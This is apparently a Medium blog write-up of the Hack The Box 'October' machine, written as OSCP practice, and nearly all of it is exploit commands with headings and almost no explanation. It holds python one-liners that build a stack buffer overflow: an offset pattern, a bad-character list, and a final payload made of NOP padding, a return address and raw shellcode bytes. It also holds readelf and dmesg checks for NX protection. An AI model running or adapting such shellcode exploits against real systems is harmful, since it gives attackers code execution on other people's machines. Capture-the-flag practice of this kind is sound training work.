Road to OSCP: HTB Series: OCTOBER Writeup

Recon Phase

Information Gathering

Exploitation

Privilege Escalation

Information Gathering

python -c 'print "\x41" * 108 + "\x42" * 4 + "\x43" * 4 + "\x44" * 500'
python -c 'badchar = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" );
print "\x41" * 108 + "\xe4\xff\x90\x90" + "\x2f\x85\x04\x08" + badchar'
python -c 'shellcode =  b""
shellcode += b"\xd9\xeb\xbb\xde\xf1\x9b\xbc\xd9\x74\x24\xf4"
shellcode += b"\x5e\x2b\xc9\xb1\x1f\x31\x5e\x1a\x83\xee\xfc"
shellcode += b"\x03\x5e\x16\xe2\x2b\x9b\x91\xe2\xe2\x87\x51"
shellcode += b"\xf9\x57\x7b\xcd\x94\x55\xcb\x97\xe1\xb8\xe6"
shellcode += b"\xd8\x65\x61\x91\xd2\x83\x85\x66\x8b\x91\xa5"
shellcode += b"\x6c\x99\x1f\x44\x06\x7b\x78\xd6\x86\xd4\xf1"
shellcode += b"\x37\x6b\x16\x81\x32\xac\xd1\x9b\x72\x59\x1f"
shellcode += b"\xf4\x28\xa1\x5f\x04\x74\xc8\x5f\x6e\x81\x85"
shellcode += b"\x83\x5f\x40\x58\xc3\x25\x92\x1a\x79\xce\x35"
shellcode += b"\x6f\x86\xa8\x39\x9f\x89\xca\xb0\x7c\x48\x21"
shellcode += b"\xce\x43\xa8\xba\x7e\x3e\xe2\x43\xfb\x01\x84"
shellcode += b"\x53\x58\x0b\x94\xcd\xec\x2f\xe7\xed\xdd\xb0"
shellcode += b"\x82\x32\xa5\xb2\x73\x53\xed\xb2\x8b\x94\x0d"
shellcode += b"\x0e\x8a\x94\x0d\x70\x40\x14"
shellcode += b"\xfc\xdb\x42\x0c\x09\x11\x04"; print "\x90" * 108 + "\xe4\xff\x90\x90" + "\x2f\x85\x04\x08" + shellcode'
readelf -l crossfire|grep GNU_STACK
dmesg | grep NX

Learning Points

--

--

--

OSCP | CTF Player | Penultimate Information System Student in SMU | Major in Cybersecurity

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Password panic: the start of a solo side project

How To Remediate Unencrypted AWS S3 buckets

Just how accurate is the Korean drama “Start-Up”?

Get Paid For Web Browsing.

The “Magic Pipe” Fallacy: Privacy Protection in the Smart Home

Your Internet Versus Your Privacy

My Diamond Team has more than tripled after only 7 days! It is earning totally passive BNB!

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Louis Low

Louis Low

OSCP | CTF Player | Penultimate Information System Student in SMU | Major in Cybersecurity

More from Medium

Hack the Box: Active Write-Up

Beep HTB Writeup

Throwback — Part 1 — pfSense

HTB Write-up Jeeves (Windows) File Transferring with SMB file share(impacket tool), Poweshell &…